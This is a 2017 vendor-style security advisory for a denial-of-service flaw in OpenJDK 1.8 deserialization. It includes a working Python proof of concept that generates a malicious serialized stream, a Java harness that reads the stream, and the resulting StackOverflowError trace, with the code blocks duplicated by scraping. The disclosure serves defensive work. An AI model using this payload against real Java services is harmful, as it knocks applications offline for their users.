January 18, 2017

[ERPSCAN-17-006] Oracle OpenJDK – Java Serialization DoS vulnerability

DoS vulnerability, Oracle OpenJDK

Application: Oracle OpenJDK
Vendor: Oracle
Bug: DoS
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 17.01.2017
Reference: Oracle CPU Jan 2017
Authors: Roman Shalymov

VULNERABILITY INFORMATION

Class: Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: Yes

CVSS Information

CVSS Base Vector:

AV: Attack Vector (Related exploit range)	Network (N)
AC: Attack Complexity (Required attack complexity)	High (H)
PR: Privileges Required (Level of privileges needed to exploit)	None (N)
UI: User Interaction (Required user participation)	None (N)
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component)	Changed(C)
C: Impact to Confidentiality	High(H)
I: Impact to Integrity	High (H)
A: Impact to Availability	High (H)

VULNERABILITY DESCRIPTION

An attacker can cause DoS of the application which uses OpenJDK Runtime Environment 1.8 as its core runtime engine.

VULNERABLE PACKAGES

OpenJDK Runtime Environment build 1.8.0_112-b15

SOLUTIONS AND WORKAROUNDS

Fix ObjectInputStream.skipCustomData() method, namely readObject0(false); call in switch statement.

TECHNICAL DESCRIPTION

An attacker can craft a malicious sequence of bytes that will cause JVM StackOverflowError in the standard Java deserialization process if it uses ObjectInputStream.readObject() method.

Proof of Concept

An attacker creates malicious sequence of bytes, for example, using this python script pwn_ser.py:

#!/usr/bin/env python2

import sys

exp = ""
#serialization header
exp += '\xac\xed\x00\x05'

exp1 = ''
exp1 += '\x72'
exp1 += '\x00\x0c'+'java.io.File'
exp1 += '\x41'*8
exp1 += '\x00'
exp1 += '\x00\x00'

exp += exp1 * 10000

sys.stdout.write(exp)

#!/usr/bin/env python2

import sys

exp = ""

#serialization header

exp += '\xac\xed\x00\x05'

exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'

exp += exp1 * 10000

sys.stdout.write(exp)

and save it in exp2.ser file

$ ./pwn_ser2.py > exp2.ser

1	$ ./pwn_ser2.py > exp2.ser

Let’s simulate deserialization process. For this purpose, we create a simple Java program, which uses the following standard deserialization pattern:

Serialize_read.java

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Serialize_read {

public static void main(String args[]) throws Exception {

  if(args.length < 1) {
      System.out.println("usage: "+Serialize_read.class.getSimpleName()+" [file]");
      System.exit(-1);
  }

  FileInputStream fin = new FileInputStream(args[0]);
  ObjectInputStream oin = new ObjectInputStream(fin);

  try {
    Object objFromDisk = oin.readObject();
    String s = (String)objFromDisk;
    System.out.println(s);
    System.out.println("Successfully read!");
  }catch(Exception e){}
  System.exit(0);

}

}

Serialize_read.java

import java.io.FileInputStream;

import java.io.ObjectInputStream;

public class Serialize_read {

public static void main(String args[]) throws Exception {

if(args.length < 1) {

System.out.println("usage: "+Serialize_read.class.getSimpleName()+" [file]");

System.exit(-1);

}

FileInputStream fin = new FileInputStream(args[0]);

ObjectInputStream oin = new ObjectInputStream(fin);

try {

Object objFromDisk = oin.readObject();

String s = (String)objFromDisk;

System.out.println(s);

System.out.println("Successfully read!");

}catch(Exception e){}

System.exit(0);

}

Let’s try to read our malicious file (we can also simulate this stuff over network communication):

$ javac Serialize_read.java
$ java Serialize_read exp2.ser

1 2	$ javac Serialize_read.java $ java Serialize_read exp2.ser

It causes the following error dump:

Exception in thread "main" java.lang.StackOverflowError
at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)
at java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)
at java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)
at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)
at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)
at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)

...
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)

Exception in thread "main" java.lang.StackOverflowError

at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)

at java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)

at java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)

at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)

at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)

at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)